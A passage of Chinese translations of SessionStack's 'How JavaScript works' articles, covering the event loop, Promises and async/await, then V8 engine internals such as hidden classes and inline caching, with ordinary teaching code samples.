被移出调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*t2Btfb_tBbBxTvyVgKX0Qg.png) 快速回顾一下: ![](https://cdn-images-1.medium.com/max/800/1*TozSrkk92l8ho6d8JxqF_w.gif) 有趣的是,ES6 指定了事件循环该如何工作,这意味着在技术上它属于 JS 引擎的职责范围了,不再是宿主环境的一部分了。造成这种变化的一个主要原因是在 ES6 中引入了 promise,因为后者需要对事件循环队列的调度操作进行直接的、细微的控制(后面我们会详细的讨论它们)。 #### setTimeout(…) 是如何工作的 需要重点注意的是 `setTimeout(…)` 不会自动的把你的回调放到事件循环队列中。它设置了一个定时器。当定时器过期了,宿主环境会将你的回调放到事件循环队列中,以便在以后的循环中取走执行它。看看下面的代码: ``` setTimeout(myCallback, 1000); ``` 这并不意味着 `myCallback` 将会在 1,000ms 之后执行,而是,在 1,000ms 之后将被添加到事件队列。然而,这个队列中可能会拥有一些早一点添加进来的事件 —— 你的回调将会等待被执行。 有很多文章或教程在介绍异步代码的时候都会从 setTimeout(callback, 0) 开始。好了,现在你知道了事件循环做了什么以及 setTimeout 是怎么运行的:以第二个参数是 0 的方式调用 setTimeout 就是推迟到调用栈为空才执行回调。 来看看下面的代码: ```js console.log('Hi'); setTimeout(function() { console.log('callback'); }, 0); console.log('Bye'); ``` 尽管等待的事件设置成 0 了,但是浏览器 console 的结果将会是下面这样: ```js Hi Bye callback ``` #### ES6 中的作业(Jobs)是什么? ES6 中介绍了一种叫 “作业队列(Job Queue)” 的新概念。它是事件循环队列之上的一层。你很有可能会在处理 Promises 的异步的时候遇到它(我们后面也会讨论到它们)。 我们现在只简单介绍一下这个概念,以便当我们讨论 Promises 的异步行为的时候,你能理解这些行为是如何被调度和处理的。 想象一下:作业队列是一个跟在事件队列的每个 **tick** 的末尾的一个队列。在事件循环队列的一个 **tick** 期间可能会发生某些异步操作,这不会导致把一整个新事件添加到事件循环队列中,而是会在当前 **tick** 的作业队列的末尾添加一项(也就是作业)。 这意味着你可以添加一个稍后执行的功能,并且你可以放心,它会在执行任何其他操作之前执行。 作业还能够使更多的作业被添加到同一个队列的末尾。从理论上说,一个作业的“循环”(一个不停的添加其他作业的作业,等等)可能会无限循环,从而使进入下一个事件循环 **tick** 的程序的必要资源被消耗殆尽。从概念上讲,这就和你写了一个长时间运行的代码或是死循环(就像是 `while (true)`)一样。 作业有点像 `setTimeout(callback, 0)` 的“hack”,但是它们引入了一个更加明确、更有保证的执行顺序:稍后执行,但是会尽快执行。 #### **回调** 众所周知,在 JavaScript 程序中,回调是表达和管理异步目前最常用的方式。确实,回调是 JavaScript 中最基础的异步模式。无数的 JS 程序,甚至是非常复杂的 JS 程序,都是使用回调作为异步的基础。 回调也不是没有缺点。许多开发者都尝试去找到更好的异步模式。但是,如果你不理解底层的实际情况,你是不可能有效的去使用任何抽象化的东西。 在下一章中,我们将深入挖掘这些抽象的概念来说明为什么更复杂的异步模式(将会在后续的帖子中讨论)是必须的甚至是被推荐的。 #### 嵌套回调 看看下面的代码: ```js listen('click', function (e){ setTimeout(function(){ ajax('https://api.example.com/endpoint', function (text){ if (text == "hello") { doSomething(); } else if (text == "world") { doSomethingElse(); } }); }, 500); }); ``` 我们有一个三个函数嵌套在一起的函数链,每一步都代表异步序列中的一步。 这种代码我们把它叫做“回调地狱”。但是“回调地狱”显然和嵌套/缩进没有关系。这是个更深层次的问题了。 首先,我们在等待一个“click”事件,然后等待定时器触发,再然后等着 Ajax 的响应返回,在这点上可能会再次重复。 乍一看,这个代码似乎可以分解成连续的几个步骤: ```js listen('click', function (e) { // .. }); ``` 然后: ```js setTimeout(function(){ // .. }, 500); ``` 再然后: ```js ajax('https://api.example.com/endpoint', function (text){ // .. }); ``` 最后: ```js if (text == "hello") { doSomething(); } else if (text == "world") { doSomethingElse(); } ``` 所以,用这样一种顺序的方式来表达你的异步代码是不是看起来更自然一些了?一定会有方法做到这一点,不是吗? #### Promises 看看下面的代码: ```js var x = 1; var y = 2; console.log(x + y); ``` 这是段简单的代码:它对 `x` 和 `y` 求和,然后在控制台打印出来。但,假如 `x` 或是 `y` 的值是待确定的呢?比如说,我们需要在使用这两个值之前去服务器检索 `x` 和 `y` 的值。然后,有两个函数 `loadX` 和 `loadY`,分别从服务器获取 `x` 和 `y` 的值。最后,函数 `sum` 来将获取到的 `x` 和 `y` 的值加起来。 看起来就是这样的(相当丑,不是吗?): ```js function sum(getX, getY, callback) { var x, y; getX(function(result) { x = result; if (y !== undefined) { callback(x + y); } }); getY(function(result) { y = result; if (x !== undefined) { callback(x + y); } }); } // 一个同步或者异步的函数,获取 `x` 的值 function fetchX() { // .. } // 一个同步或者异步的函数,获取 `y` 的值 function fetchY() { // .. } sum(fetchX, fetchY, function(result) { console.log(result); }); ``` 这里面的关键点在于 — 这段代码中,`x` 和 `y` 是 **未来** 的值,然后我们还写了一个 `sum(…)` 函数,并且从外面看它并不关心 `x` 或者 `y` 现在是不是可用的。 当然,这种基于回调的方式是粗糙的并且有很多不足。这只是初步理解 __未来值__ 以及不需要去担心它们什么时候可用的第一步。 #### Promise 值 让我们看一下这个简短的例子是如何用 Promises 来表达 `x + y` 的: ```js function sum(xPromise, yPromise) { // `Promise.all([ .. ])` 接受一个 promises 的数组, // 并且返回一个新的 promise 对象去等待它们 // 全部完成 return Promise.all([xPromise, yPromise]) // 当 promise 完成的时候,我们就能获取 // `X` and `Y` 的值,并且计算他们 .then(function(values){ // `values` 是一个来自前面完成的 promise // 的消息数组 return values[0] + values[1]; } ); } // `fetchX()` and `fetchY()` 返回 promises 的值,有他们各自的 // 值,或许*现在* 已经准备好了 // 也可能要 *等一会儿*。 sum(fetchX(), fetchY()) // 我们从返回的 promise 得到了这 // 两个数字的和。 // 现在我们连续的调用了 `then(...)` 去等待已经完成的 // promise。 .then(function(sum){ console.log(sum); }); ``` 这段代码可以看到两层 Promises。 `fetchX()` 和 `fetchY()` 被直接调用,然后他们的返回值(promises!)被传给 `sum(...)`。这些 promises 代表的值可能在 _现在_ 或是 _将来_ 准备好,但每个 promise 的自身规范都是相同的。我们以一种与时间无关的方式来解释 `x` 和 `y` 的值。它们在一段时间内是 _未来值_。 第二层 promise 是 `sum(...)` 创建 (通过 `Promise.all([ ... ])`) 并返回的,我们通过调用 `then(...)` 来等待返回。当 `sum(...)` 操作完成的时候,_未来值_ 的总和也就准备就绪了,然后就可以把值打印出来了。我们隐藏了在 `sum(...)` 函数内部等待 `x` 和 `y` 的 _未来值_ 的逻辑。 **注意**:在 `sum(…)` 函数中,`Promise.all([ … ])` 创建了一个 promise (这个 promise 等待 `promiseX` and `promiseY` 的完成)。链式调用 `.then(...)` 来创建另一个 promise,返回的 `values[0] + values[1]` 会立即执行完成(还要加上加运算的结果)。因此,我们在 `sum(...)` 调用结束后加上的 `then(...)` — 在上面代码的末尾 — 实际上是在第二个 promise 返回后执行,而不是第一个 `Promise.all([ ... ])` 创建的 promise。还有,尽管我们没有在第二个 `then(...)` 后面再进行链式调用,但是它也创建了一个 promise,我们可以去观察或是使用它。关于 Promise 的链式调用会在后面详细地解释。 使用 Promises,这个 `then(...)` 的调用其实有两个方法,第一个方法被调用的时机是在已完成的时候 (就像我们前面使用的那样),而另一个被调用的时机是已失败的时候: ```js sum(fetchX(), fetchY()) .then( // 完成时 function(sum) { console.log( sum ); }, // 失败时 function(err) { console.error( err ); // bummer! } ); ``` 如果在获取 `x` 或者 `y` 的时候出错了,又或许是在进行加运算的时候失败了,`sum(...)` 返回的 promise 将会是已失败的状态,并且会将 promise 已失败的值传给 `then(...)` 的第二个回调处理。 因为 Promises 封装了依赖时间的状态 — 等待内部的值已完成或是已失败 — 从外面看,Promise 是独立于时间的,因此 Promises 可以能通过一种可预测的方式组合起来,而不用去考虑底层的时间或者结果。 而且,一旦 Promise 的状态确定了,那么他就永远也不会改变状态了 — 在这时它会变成一个 _不可改变的值_ — 然后就可以在有需要的时候多次 _观察_ 它。 实际上链式的 promises 是非常有用的: ```js function delay(time) { return new Promise(function(resolve, reject){ setTimeout(resolve, time); }); } delay(1000) .then(function(){ console.log("after 1000ms"); return delay(2000); }) .then(function(){ console.log("after another 2000ms"); }) .then(function(){ console.log("step 4 (next Job)"); return delay(5000); }) // ... ``` 调用 `delay(2000)` 会创建一个在 2000ms 完成的 promise,然后我们返回第一个 `then(...)` 的成功回调,这会导致第二个 `then(...)` 的 promise 要再等待 2000ms 执行。 **注意**:因为 Promise 一旦完成了就不能再改变状态了,所以可以安全的传递到任何地方,因为它不会再被意外或是恶意的修改。这对于在多个地方监听 Promise 的解决方案来说,尤其正确。一方不可能影响到另一方所监听到的结果。不可变听起来像是一个学术性的话题,但是它是 Promise 设计中最基础、最重要方面,不应该被忽略。 #### **用不用 Promise?** 使用 Promises 最重要的一点在于能否确定一些值是否是真正的 Promise。换句话说,它的值像一个 Promise 吗? 我们知道 Promises 是由 `new Promise(…)` 语句构造出来的,你可能会认为 `p instanceof Promise` 就能判断一个 Promise。其实,并不完全是。 主要是因为另一个浏览器窗口(比如 iframe)获取一个 Promise 的值,它拥有自己的 Promise 类,且不同于当前或其他窗口,所以使用 instance 来区分 Promise 是不准确的。 而且,一个框架或者库可以选择自己的 Promise,而不是使用 ES6 原生的 Promise 实现。事实上,你很可能会在不支持 Promise 的老式浏览器中使用第三方的 Promise 库。 #### 吞噬异常 如果在任何一个创建 Promise 或是对其结果观察的过程中,抛出了一个 JavaScript 异常错误,比如说 `TypeError` 或是 `ReferenceError`,那么这个异常会被捕获,然后它就会把 Promise 的状态变成已失败。 例如: ```js var p = new Promise(function(resolve, reject){    foo.bar(); // 对不起,`foo` 没有定义    resolve(374); // 不会执行 :( }); p.then( function fulfilled(){        // 不会执行 :( }, function rejected(err){        // `err` 是 `foo.bar()` 那一行 // 抛出的 `TypeError` 异常对象。    } ); ``` 如果一个 Promise 已经结束了,但是在监听结果(在 `then(…)` 里的回调函数)的时候发生了 JS 异常会怎么样呢?即使这个错误没有丢失,你可能也会对它的处理方式有点惊讶。除非你深入的挖掘一下: ``` var p = new Promise( function(resolve,reject){ resolve(374); }); p.then(function fulfilled(message){ foo.bar();    console.log(message);   // 不会执行 }, function rejected(err){        // 不会执行    } ); ``` 这看起来就像 `foo.bar()` 的异常真的被吞了。当然了,异常并不是被吞了。这是更深层次的问题出现了,我们没有监听到异常。`p.then(…)` 调用它自己会返回另一个 promise,而这个 promise 会因为 `TypeError` 的异常变为已失败状态。 #### **处理未捕获的异常** 还有一些 _更好的_ 办法解决这个问题。 最常见的就是给 Promise 加一个 `done(…)`,用来标志 Promise 链的结束。`done(…)` 不会创建或返回一个 Promise,所以传给 `done(..)` 的回调显然不会将问题报告给一个不存在的 Promise。 在未捕获异常的情况下,这可能才是你期望的:在 `done(..)` 已失败的处理函数里的任何异常都会抛出一个全局的未捕获异常(通常是在开发者的控制台)。 ```js var p = Promise.resolve(374); p.then(function fulfilled(msg){    // 数字不会拥有字符串的方法,    // 所以会抛出一个错误    console.log(msg.toLowerCase()); }) .done(null, function() {    // 如果有异常发生,它就会被全局抛出 }); ``` #### **ES8 发生了什么? Async/await** JavaScript ES8 介绍了 `async/await`,使得我们能更简单的使用 Promises。我们将简单的介绍 `async/await` 会带给我们什么以及如何利用它们写出异步的代码。 所以,来让我们看看 async/await 是如何工作的。 使用 `async` 函数声明来定义一个异步函数。这样的函数返回一个 [AsyncFunction](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction) 对象。`AsyncFunction` 对象表示执行包含在这个函数中的代码的异步函数。 当一个 async 函数被调用,它返回一个 `Promise`。当 async 函数返回一个值,它不是一个 `Promise`,`Promise` 将会被自动创建,然后它使用函数的返回值来决定状态。当 `async` 抛出一个异常,`Promise` 使用抛出的值进入已失败状态。 一个 `async` 函数可以包含一个 `await` 表达式,它会暂停执行这个函数然后等待传给它的 Promise 完成,然后恢复 async 函数的执行,并返回已成功的值。 你可以把 JavaScript 的 `Promise` 看作是 Java 的 `Future` 或是 `C#` 的 Task。 > `async/await` 的目的是简化使用 promises 的写法。 让我们来看看下面的例子: ```js // 一个标准的 JavaScript 函数 function getNumber1() { return Promise.resolve('374'); } // 这个 function 做了和 getNumber1 同样的事 async function getNumber2() { return 374; } ``` 同样,抛出异常的函数等于返回已失败的 promises: ```js function f1() { return Promise.reject('Some error'); } async function f2() { throw 'Some error'; } ``` 关键字 `await` 只能使用在 `async` 的函数中,并允许你同步等待一个 Promise。如果我们在 `async` 函数之外使用 promise,我们仍然要用 `then` 回调函数: ```js async function loadData() {    // `rp` 是一个请求异步函数    var promise1 = rp('https://api.example.com/endpoint1'); var promise2 = rp('https://api.example.com/endpoint2');    // 现在,两个请求都被触发,    // 我们就等待它们完成。    var response1 = await promise1; var response2 = await promise2; return response1 + ' ' + response2; } // 但,如果我们没有在 `async function` 里 // 我们就必须使用 `then`。 loadData().then(() => console.log('Done')); ``` 你还可以使用 async 函数表达式的方法创建一个 async 函数。async 函数表达式的写法和 async 函数声明差不多。函数表达式和函数声明最主要的区别就是函数名,它可以在 async 函数表达式中省略来创建一个匿名函数。一个 async 函数表达式可以作为一个 IIFE(立即执行函数) 来使用,当它被定义好的时候就会执行。 它看起来是这样的: ```js var loadData = async function() {    // `rp` 是一个请求异步函数 var promise1 = rp('https://api.example.com/endpoint1'); var promise2 = rp('https://api.example.com/endpoint2');    // 现在,两个请求都被触发,    // 我们就等待它们完成。 var response1 = await promise1; var response2 = await promise2; return response1 + ' ' + response2; } ``` 更重要的是,所有主流浏览器都支持 async/await: ![](https://cdn-images-1.medium.com/max/800/0*z-A-JIe5OWFtgyd2.) 如果这个兼容情况不是你想要的,那么也可以使用一些 JS 转换器,像 [Babel](https://babeljs.io/docs/plugins/transform-async-to-generator/) 和 [TypeScript](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-3.html)。 最后,最重要的是不要盲目的选择“最新”的方法去写异步代码。更重要的是理解异步 JavaScript 内部的原理,知道为什么它为什么如此重要以及去理解你选择的方法的内部原理。在程序中每种方法都是有利有弊的。 ### 5 个编写可维护的、健壮的异步代码的技巧 1. **干净的代码:** 使用 async/await 能够让你少写代码。每一次你使用 async/await 你都能跳过一些不必要的步骤:写一个 .then,创建一个匿名函数来处理响应,在回调中命名响应,比如: ```js // `rp` 是一个请求异步函数 rp(‘https://api.example.com/endpoint1').then(function(data) { // … }); ``` 对比: ```js // `rp` 是一个请求异步函数 var response = await rp(‘https://api.example.com/endpoint1'); ``` 2. **错误处理:** Async/await 使得我们可以使用相同的代码结构处理同步或者异步的错误 —— 著名的 try/catch 语句。让我们看看用 Promises 是怎么实现的: ```js function loadData() { try { // Catches synchronous errors. getJSON().then(function(response) { var parsed = JSON.parse(response); console.log(parsed); }).catch(function(e) { // Catches asynchronous errors console.log(e); }); } catch(e) { console.log(e); } } ``` 对比: ```js async function loadData() { try { var data = JSON.parse(await getJSON()); console.log(data); } catch(e) { console.log(e); } } ``` 3. **条件语句:** 使用 `async/await` 来写条件语句要简单得多: ```js function loadData() { return getJSON() .then(function(response) { if (response.needsAnotherRequest) { return makeAnotherRequest(response) .then(function(anotherResponse) { console.log(anotherResponse) return anotherResponse }) } else { console.log(response) return response } }) } ``` 对比: ```js async function loadData() { var response = await getJSON(); if (response.needsAnotherRequest) { var anotherResponse = await makeAnotherRequest(response); console.log(anotherResponse) return anotherResponse } else { console.log(response); return response; } } ``` 4. **栈帧:** 和 `async/await` 不同的是,根据promise链返回的错误堆栈信息,并不能发现哪出错了。来看看下面的代码: ```js function loadData() { return callAPromise() .then(callback1) .then(callback2) .then(callback3) .then(() => { throw new Error("boom"); }) } loadData() .catch(function(e) { console.log(err); // Error: boom at callAPromise.then.then.then.then (index.js:8:13) }); ``` 对比: ```js async function loadData() { await callAPromise1() await callAPromise2() await callAPromise3() await callAPromise4() await callAPromise5() throw new Error("boom"); } loadData() .catch(function(e) { console.log(err);    // 输出    // Error: boom at loadData (index.js:7:9) }); ``` 5. **调试:** 如果你使用了 promises,你就会知道调试它们将会是一场噩梦。比如,你在 .then 里面打了一个断点,并且使用类似 “stop-over” 这样的 debug 快捷方式,调试器不会移动到下一个 .then,因为它只会对同步代码生效。而通过 `async/await` 你就可以逐步的调试 await 调用了,它就像是一个同步函数一样。 编写 **异步 JavaScript 代码** 不仅对于应用程序本身并且对于库也很重要。 比如,[SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-outro) 记录 Web 应用、网站中的所有内容:包括所有 DOM 的改变,用户交互,JavaScript 异常,栈追踪,网络请求失败和 debug 信息。 这一切都发生在你的生产环境中而不会影响你的用户体验。我们需要对我们的代码进行大量的优化,使其尽可能的异步,这样我们就能增加被事件循环处理的事件。 而且这不仅是个库!当你在 SessionStack 要恢复一个用户的会话时,我们必须重现所有在用户的浏览器上出现的问题,我们必须重现整个状态,允许你在会话的事件轴上来回跳转。为了做到这一点,我们大量地使用了JavaScript 提供的异步操作。 我们有一个免费的计划可以让你[免费开始](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-GetStarted)。 ![](https://cdn-images-1.medium.com/max/800/0*xSEaWHGqqlcF8g5H.) 更多资源: * [https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch2.md](https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch2.md) * [https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch3.md](https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch3.md) * [http://nikgrozev.com/2017/10/01/async-await/](http://nikgrozev.com/2017/10/01/async-await/) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md ================================================ > * 原文地址:[How JavaScript works: inside the V8 engine + 5 tips on how to write optimized code](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e) > * 原文作者:[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md) > * 译者:[春雪](https://github.com/balancelove) > * 校对者:[PCAaron](https://github.com/PCAaron) [Raoul1996](https://github.com/Raoul1996) # JavaScript 是如何工作的:在 V8 引擎里 5 个优化代码的技巧 几个星期前我们开始了一个旨在深入挖掘 JavaScript 以及它是如何工作的系列文章。我们通过了解它的底层构建以及它是怎么发挥作用的,可以帮助我们写出更好的代码与应用。 [第一篇文章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf) 主要关注引擎、运行时以及调用栈的概述。第二篇文章将会深入到 Google 的 JavaScript V8 引擎的内部。 我们还提供了一些关于如何编写更好的 JavaScript 代码的快速技巧 —— 我们 [SessionStack](https://www.sessionstack.com/) 开发团队在开发产品的时候遵循的最佳实践。 #### 概述 **JavaScript 引擎** 是执行 JavaScript 代码的程序或者说是解释器。JavaScript 引擎能够被实现成标准解释器或者是能够将 JavaScript 以某种方式编译为字节码的即时编译器。 下面是一些比较火的实现 JavaScript 引擎的项目: * [**V8**](https://en.wikipedia.org/wiki/V8_%28JavaScript_engine%29 "V8 (JavaScript engine)") — 由 Google 开发,使用 C++ 编写的开源引擎 * [**Rhino**](https://en.wikipedia.org/wiki/Rhino_%28JavaScript_engine%29 "Rhino (JavaScript engine)") — 由 Mozilla 基金会管理,完全使用 Java 开发的开源引擎 * [**SpiderMonkey**](https://en.wikipedia.org/wiki/SpiderMonkey_%28JavaScript_engine%29 "SpiderMonkey (JavaScript engine)") — 第一个 JavaScript 引擎,在当时支持了 Netscape Navigator,现在是 Firefox 的引擎 * [**JavaScriptCore**](https://en.wikipedia.org/wiki/JavaScriptCore "JavaScriptCore") — 由苹果公司为 Safari 浏览器开发,并以 Nitro 的名字推广的开源引擎。 * [**KJS**](https://en.wikipedia.org/wiki/KJS_%28KDE%29 "KJS (KDE)") — KDE 的引擎,最初是由 Harri Porten 为 KDE 项目的 Konqueror 网络浏览器开发 * [**Chakra** (JScript9)](https://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29 "Chakra (JScript engine)") — IE 引擎 * [**Chakra** (JavaScript)](https://en.wikipedia.org/wiki/Chakra_%28JavaScript_engine%29 "Chakra (JavaScript engine)") — 微软 Edge 的引擎 * [**Nashorn**](https://en.wikipedia.org/wiki/Nashorn_%28JavaScript_engine%29 "Nashorn (JavaScript engine)") — 开源引擎,由 Oracle 的 Java 语言工具组开发,是 OpenJDK 的一部分 * [**JerryScript**](https://en.wikipedia.org/wiki/JerryScript "JerryScript") — 这是物联网的一个轻量级引擎 #### 为什么要创建 V8 引擎? V8 引擎是由 Google 用 **C++** 开发的开源引擎,这个引擎也在 Google chrome 中使用。和其他的引擎不同的是,V8 引擎也用于运行 Node.js。 ![](https://cdn-images-1.medium.com/max/800/1*AKKvE3QmN_ZQmEzSj16oXg.png) V8 最初被设计出来是为了提高浏览器内部 JavaScript 的执行性能。为了获取更快的速度,V8 将 JavaScript 代码编译成了更加高效的机器码,而不是使用解释器。它就像 SpiderMonkey 或者 Rhino (Mozilla) 等许多现代JavaScript 引擎一样,通过运用即时编译器将 JavaScript 代码编译为机器码。而这之中最主要的区别就是 V8 不生成字节码或者任何中间代码。 #### V8 曾经有两个编译器 在 V8 的 v5.9 版本出来之前(今年早些时候发布的)有两个编译器: * full-codegen — 一个简单并且速度非常快的编译器,可以生成简单但相对比较慢的机器码。 * Crankshaft — 一个更加复杂的 (即时) 优化编译器,生成高度优化的代码。 V8 引擎在内部也使用了多个线程: * 主线程完成你所期望的任务:获取你的代码,然后编译执行 * 还有一个单独的线程用于编译,以便主线程可以继续执行,而前者就能够优化代码 * 一个 `Profiler` (分析器) 线程,它会告诉运行时在哪些方法上我们花了很多的时间,以便 `Crankshaft` 可以去优化它们 * 还有一些线程处理垃圾回收扫描 当第一次执行 JavaScript 代码的时候,V8 利用 **full-codegen** 直接将解析的 JavaScript 代码不经过任何转换翻译成机器码。这使得它可以 **非常快速** 的开始执行机器码,请注意,V8 不使用任何中间字节码表示,从而不需要解释器。 当你的代码已经运行了一段时间了,分析器线程已经收集了足够的数据来告诉运行时哪个方法应该被优化。 然后, **Crankshaft** 在另一个线程开始优化。它将 JavaScript 抽象语法树转换成一个叫 **Hydrogen** 的高级静态单元分配表示(SSA),并且尝试去优化这个 Hydrogen 图。大多数优化都是在这个级完成。 #### 代码嵌入 (Inlining) 首次优化就是尽可能的提前嵌入更多的代码。代码嵌入就是将使用函数的地方(调用函数的那一行)替换成调用函数的本体。这简单的一步就会使接下来的优化更加有用。 ![](https://cdn-images-1.medium.com/max/800/0*RRgTDdRfLGEhuR7U.png) #### 隐藏类 (Hidden class) JavaScript 是一门基于原型的语言: 没有类和对象是通过克隆来创建的。同时 JavaScript 也是一门动态语言,这意味着在实例化之后也能够方便的从对象中添加或者删除属性。 大多数 JavaScript 解释器使用类似字典的结构 (基于[散列函数](http://en.wikipedia.org/wiki/Hash_function)) 去存储对象属性值在内存中的位置。这种结构使得在 JavaScript 中检索一个属性值比在像 Java 或者 C# 这种非动态语言中计算量大得多。在 Java 中, 编译之前所有的属性值以一种固定的对象布局确定下来了,并且在运行时不能动态的增加或者删除 (当然,C# 也有 [动态类型](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/dynamic),但这是另外一个话题了)。因此,属性值 (或者说指向这些属性的指针) 能够以连续的 buffer 存储在内存中,并且每个值之间有一个固定的偏移量。根据属性类型可以很容易地确定偏移量的长度,而在 JavaScript 中这是不可能的,因为属性类型可以在运行时更改。 由于采用字典的方式去内存中查找对象属性的位置效率很低,因此 V8 就采用了一种不一样的方法:**隐藏类**。隐藏类与 Java 等语言中使用的固定对象布局(类)的工作方式很类似,除了它们是在运行时创建的。现在,来让我们看看它们实际的样子: ```js function Point(x, y) { this.x = x; this.y = y; } var p1 = new Point(1, 2); ``` 一旦 “new Point(1, 2)” 被调用,V8 将会创建一个叫 “C0” 的隐藏类。 ![](https://cdn-images-1.medium.com/max/800/1*pVnIrMZiB9iAz5sW28AixA.png) 运行到这里,Point 还没有定义任何的属性,所以 “C0” 是空的。 当第一条语句 “this.x = x” 开始执行 (在 “Point” 函数中), V8 将会基于 “C0” 创建第二个隐藏类叫做 “C1”。“C1” 描述了属性值 x 在内存中的位置(相对于对象指针)。在这个例子中, “x” 被存在 [偏移值](http://en.wikipedia.org/wiki/Offset_%28computer_science%29) 为 0 的地方, 这意味着当在内存中把 point 对象视为一段连续的 buffer 时,它的第一个偏移量对应的属性就是 “x”。V8 也会使用类转换更新 “C0”,如果一个属性 “x” 被添加到这个 point 对象中,隐藏类就会从 “C0” 切换到 “C1”。那么,现在这个point 对象的隐藏类就是 “C1” 了。 ![](https://cdn-images-1.medium.com/max/800/1*QsVUE3snZD9abYXccg6Sgw.png) 每当一个新属性添加到对象,老的隐藏类就会通过一个转换路径更新成一个新的隐藏类。隐藏类转换非常重要,因为它们允许以相同方法创建的对象共享隐藏类。如果两个对象共享一个隐藏类,并给它们添加相同的属性,隐藏类转换能够确保这两个对象都获得新的隐藏类以及与之相关联的优化代码。 当执行语句 “this.y = y” (同样,在 Point 函数内部,“this.x = x” 语句之后) 时,将重复此过程。 一个新的隐藏类 “C2” 被创建了,如果属性 “y” 被添加到 Point 对象(已经包含了 “x” 属性),同样的过程,类型转换被添加到 “C1” 上,然后隐藏类开始更新成 “C2”,并且 Point 对象的隐藏类就要更新成 “C2” 了。 ![](https://cdn-images-1.medium.com/max/800/1*spJ8v7GWivxZZzTAzqVPtA.png) 隐藏类转换是根据属性被添加到对象上的顺序而发生变化。我们看看下面这一小段代码: ```js function Point(x, y) { this.x = x; this.y = y; } var p1 = new Point(1, 2); p1.a = 5; p1.b = 6; var p2 = new Point(3, 4); p2.b = 7; p2.a = 8; ``` 现在,你可能会想 p1 和 p2 使用了相同的隐藏类和类转换。其实不然,对于 p1 来说,属性 “a” 被第一个添加,然后是属性 “b”。而对于 p2 来说,首先分配 “b”,然后才是 “a”。因此,p1 和 p2 会以不同的类转换路径结束,隐藏类也不同。其实,在这两个例子中我们可以看到,最好的方式是使用相同的顺序初始化动态属性,这样的话隐藏类就能够复用了。 #### 内联缓存 (Inline caching) V8 还利用另一种叫内联缓存的技术来优化动态类型语言。内联缓存依赖于我们观察到:同一个方法的重复调用是发生在相同类型的对象上的。关于内联缓存更深层次的解读请看[这里](https://github.com/sq/JSIL/wiki/Optimizing-dynamic-JavaScript-with-inline-caches)。 我们来大致了解一下内联缓存的基本概念 (如果你没有时间去阅读上面的深层次的解读)。 那么它是如何工作的呢?V8 维护了一个对象类型的缓存,存储的是在最近的方法调用中作为参数传递的对象类型,然后 V8 会使用这些信息去预测将来什么类型的对象会再次作为参数进行传递。如果 V8 对传递给方法的对象的类型做出了很好的预测,那么它就能够绕开获取对象属性的计算过程,取而代之的是使用先前查找这个对象的隐藏类时所存储的信息。 那么隐藏类和内联缓存的概念是怎么联系在一起的呢?无论什么时候当一个特定的对象上的方法被调用时,V8 引擎都会查找这个对象的隐藏类以便确定获取特定属性的偏移值。当对于同一个隐藏类两次成功的调用了同一个方法时,V8 就会略过查找隐藏类,将这个属性的偏移值添加到对象本身的指针上。对于未来这个方法的所有调用,V8 引擎都会假设隐藏类没有改变,而是直接跳到特定属性在内存中的位置,这是通过之前查找时存储的偏移值做到的。这极大的提高了 V8 的执行速度。 同时,内联缓存也是同类型对象共享隐藏类如此重要的原因。如果我们使用不同的隐藏类创建了两个同类型的对象(就如同我们前面做的那样),V8 就不能使用内联缓存,因为即使两个对象是相同的,但是它们对应的隐藏类对它们的属性分配了不同的偏移值。 ![](https://cdn-images-1.medium.com/max/800/1*iHfI6MQ-YKQvWvo51J-P0w.png) 这两个对象基本相同,但是属性 “a” 和 “b” 是以不同的顺序创建的 #### 编译成机器代码 一旦 Hydrogen 图被优化,Crankshaft 就会把这个图降低到一个比较低层次的表现形式 —— 叫做 Lithium。大多数 Lithium 实现都是面向特定的结构的。寄存器分配就发生在这一层次。 最后,Lithium 被编译成机器码。然后,OSR就开始了:一种运行时替换正在运行的栈帧的技术(on-stack replacement)。在我们开始编译和优化一个明显耗时的方法时,我们可能会运行它。V8 不会把它之前运行的慢的代码抛在一旁,然后再去执行优化后的代码。相反,V8 会转换这些代码的上下文(栈, 寄存器),以便在执行这些慢代码的途中转换到优化后的版本。这是一个非常复杂的任务,要知道 V8 已经在其他的优化中将代码嵌入了。当然了,V8 不是唯一能做到这一点的引擎。 V8 还有一种保护措施叫做反优化,能够做相反的转换,将代码逆转成没有优化过的代码以防止引擎做的猜测不再正确。 #### 垃圾回收 对于垃圾回收,V8 使用一种传统的分代式标记清除的方式去清除老生代的数据。标记阶段会阻止 